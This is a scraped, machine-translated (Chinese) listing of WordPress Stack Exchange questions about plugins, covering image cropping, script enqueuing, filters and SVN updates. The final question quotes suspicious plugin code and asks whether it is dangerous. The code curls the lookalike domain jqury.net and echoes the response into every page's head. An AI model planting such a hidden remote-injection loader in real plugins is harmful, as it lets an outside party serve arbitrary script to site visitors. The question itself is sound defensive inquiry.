Questions tagged «plugins»

插件是扩展WordPress功能的工具。此标签不应用于标记对插件建议的请求,这些请求在FAQ中是不合时宜的。

5
如何从顶部开始裁剪add_image_size()?
我有一系列的帖子,所有帖子都有特色图片,但是我需要能够自定义作物右上角。在这种情况下,我需要从右上角裁剪它们,但是了解自己如何定位该点也会很有用。 目前,add_image_size()函数正在从图像中心进行裁剪。并不总是漂亮!

4
手动添加Google Analytics(分析)还是使用插件?
我们的情况是我们只涉足Wordpress,但是我们的一位Wordpress客户希望将Google Analytics(分析)添加到他的网站。 我假设我们可以相对轻松地手动进行此操作。我们的直觉是走那条路。客户规模很小,至少在此阶段不需要做任何特别复杂的事情。 我们要保持简单。最好避免使用插件吗? 更新资料 感谢您提供的所有出色答案-最后,我们确实使用了插件。正如下面回答的专家所承诺的那样,它非常简单。


9
在第三方JS的脚本标签中添加其他属性
尝试将Dropbox 在选择器API中的放置集成到我正在编写的插件中时,我遇到了这个问题。 API文档指示您将以下script标记放在文件顶部: <script type="text/javascript" src="https://www.dropbox.com/static/api/1/dropins.js" id="dropboxjs" data-app-key="MY_APP_KEY"></script> 一切都很好,当我直接将其粘贴到admin部分中调用的页面中时,它实际上可以工作。但是,我想使用wp_register_script(),wp_enqueue_script()和wp_localize_script()的一些变体来传递必要的id和data-app-key。 我已经尝试了几种不同的变化: add_action('admin_enqueue_scripts', 'add_dropbox_stuff'); function add_dropbox_js() { wp_register_script('dropbox.js','https://www.dropbox.com/static/api/1/dropins.js'); wp_enqueue_script('dropbox.js'); wp_localize_script('dropbox.js','dropboxdata',array('id'=>"dropboxjs",'data-app-key'=>"MY_APP_KEY")); } 和: add_action('admin_enqueue_scripts', 'add_dropbox_stuff'); function add_dropbox_stuff() { wp_register_script('dropbox.js','https://www.dropbox.com/static/api/1/dropins.js'); wp_enqueue_script('dropbox.js'); wp_localize_script('dropbox.js','dropboxdata',array(array('id'=>"dropboxjs"),array('data-app-key'=>"MY_APP_KEY"))); } MY_APP_KEY在我的代码中替换为适当的应用程序密钥。将不胜感激任何方向。谢谢。 编辑:也试图用一些jquery,但无济于事。在加载文档和准备文档时对其进行了尝试。我收到{“错误”:“无效的app_key”}返回。 $('script[src="https://www.dropbox.com/static/api/1/dropins.js?ver=3.6"]').attr('id','dropboxjs').attr('data-multiselect','true').attr('data-app-key','MY_APP_KEY');


1
wp.​​media.view.ImageDetails-将设置另存为图像的HTML5 data- *属性
我最后要实现的是在“图像详细信息”框中添加了额外的设置,这些设置将<img>作为data-*属性存储在图像标签中 例: <img src="..." data-my_setting="..."> 我的密码 我正在创建一个插件,并且在编辑图像时需要创建更多设置。到目前为止,我有以下代码: jQuery(function($) { var imageDetails = wp.media.view.ImageDetails wp.media.view.ImageDetails = wp.media.view.ImageDetails.extend({ // Initialize - Call function to add settings when rendered initialize: function() { this.on('post-render', this.add_settings); }, // To add the Settings add_settings: function() { $('.advanced-section').prepend('\ <h2>My Settings</h2>\ <input type="text" class="my_setting">\ '); // Set Options …
19 plugins  images  media  html5 

3
如何启用建议的编辑?
我喜欢使我网站的任何用户都可以建议对页面进行编辑的想法。类似于Stack Exchange上的编辑系统,但不同之处在于任何人都应该能够编辑,而不仅仅是注册用户。所有编辑都将经过批准过程。 我该如何实施?

6
WordPress插件是必不可少的吗?
我是WordPress的新手。我最近阅读了一篇有关黑客如何利用插件漏洞的文章。诸如Google Pagespeed之类的各种来源也使我无法使用插件,或者至少将其保持在最低水平。就我个人而言,我也尽量避免使用插件,因为我可以更好地控制网站上发生的事情,并且下载插件几乎感觉像“很棒,我必须学习如何使用另一件事”。 我知道“插件推荐”是题外话,但我要讲的实际上是解释为什么/如果某些插件在WordPress中必不可少。 以这些为例: 安全性 -一些顶级插件与安全性有关。但是WordPress网站通常容易受到攻击吗?为什么我需要一个额外的插件来避免被利用? 备份 -我是博客世界的新手,但是大多数托管人不提供备份服务吗?还是我需要使用WordPress的专用插件? AdSense Click-Fraud监控 -旨在阻止Click炸弹以避免被Google放逐。但是我不明白,除非您下载插件,否则所有人都必须做几次虚假点击才能关闭您的收入吗? 编辑:最好在Google支持中询问此问题,如果这样则忽略它
19 plugins  security 


5
保存后如何编辑帖子数据?
我有一个插件,我希望能够通过一些过滤器来运行帖子内容,然后再将其保存到数据库中。通过查看插件api,我看到两个看起来像它们的钩子可能会有所帮助: save_post wp_insert_post 唯一的问题是,它看起来save_post不需要返回变量,因此我不知道如何过滤内容,并且wp_insert_post看起来已记录在案。 我想做这样的事情: add_action('whatever_hook_name','my_function'); function my_function($post_content){ return $post_content.' <br> This post was saved on '.time(); } 我将做一些比附加时间戳更有用的事情,即运行一些正则表达式过滤器,但这是我要添加的过滤器/操作的一般类型。 更新资料 请注意,我想截取保存在数据库中的数据,而不是在帖子中显示数据时截取(例如:不通过添加过滤器到the_content)

3
通过主题禁用插件/插件操作
我已经在自己的网站上安装了Google Analyticator插件。我还使用MobilePress插件提供了一个针对非智能手机移动浏览器的主题。我已经设置了用于该主题的Google Analytics(分析)移动版,并希望禁用Analyticator插件,因为该插件包括对较大js文件的调用。 有谁知道是否可以使用functions.php或其他方法禁用插件? 我相信我已经找到了将功能添加到页面的代码,因此,如果无法禁用整个插件,是否可以停止执行操作?我试图直接禁用它们,但是没有运气。这是插件文件中的代码: add_action('wp_head', 'add_google_analytics', 999999); add_action('init', 'ga_outgoing_links'); 我尝试通过以下方式删除这些操作: remove_action('wp_head','add_google_analytics',9999999); remove_action('init', 'ga_outgoing_links'); 任何帮助是极大的赞赏。

1
通过tortoise svn将插件更新到存储库的正确方法是什么?
我不好意思说,即使我的插件已经在存储库中已有多年并且下载了30万次以上,我对通过Torvise svn更新插件的过程还是一无所知! 这里有很多关于svn的问题,但它们只是让我进一步困惑:-z 到目前为止,我已经以某种方式进行了管理,但是我需要了解正确的过程,以将我的插件更新为新版本,以提交主干和创建标签目录。 到目前为止,这是我一直在做的事情。 在本地对插件更新进行编码,直到对它满意为止 将本地插件文件夹中的所有文件复制到/ trunk /(插件和自述文件具有更新的版本号) 提交主干目录 右键单击主干目录,然后选择“创建分支/标签”并将其设置为复制到/ tags /中的文件夹,名称为版本号 这是正确的并且顺序正确吗?如果没有,正确的方法是什么? 另外,关于版本号... 由于某种原因,我在上次更新时从2.8.1版本升级到2.81.2,这是否意味着如果我将下一个版本号更改为2.81.2,则该更新将不会显示在具有2.81.2版本的人员的仪表板上。 2.9? wordpress如何确定哪个是最新版本以及用户是否应该更新其版本?它做一个version_compare吗?仅适用于正确的php版本格式不是吗?例如。2.9.2被认为是低于2.81.2的版本?(因为据我所知,version_compare从左侧开始,并且比较每个数字的高/低,因此9被认为小于81) 另一个问题, 如果我发现代码中的一个愚蠢的错误并没有真正影响插件的工作,可能是拼写错误或其他图像。我要编辑什么并承诺使该插件的任何新下载都包含更改? 我必须编辑行李箱和标签文件夹并同时提交两者吗?


1
add_filter和apply_filters之间的区别
我已经寻找之间的差异的合适的解释add_filter(),并apply_filters()在这里,但没能找到。 任何人都可以告诉我在使用之前add_filter或apply_filters在一种情况下要考虑哪些信息或逻辑。 那使得必须使用一项而不是另一项? add_filter只是将一个功能添加到等待在变量上apply_filters执行的功能队列中并按顺序执行功能是否正确? 是不是也很正确,apply_filters当一个参数(要运行的函数的名称)呼吁将队列中的所有其他前执行该功能(如果存在的话)?

2
我在插件中找到了这个。它有什么作用?危险吗?
我在插件中找到了这个。它有什么作用?危险吗? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.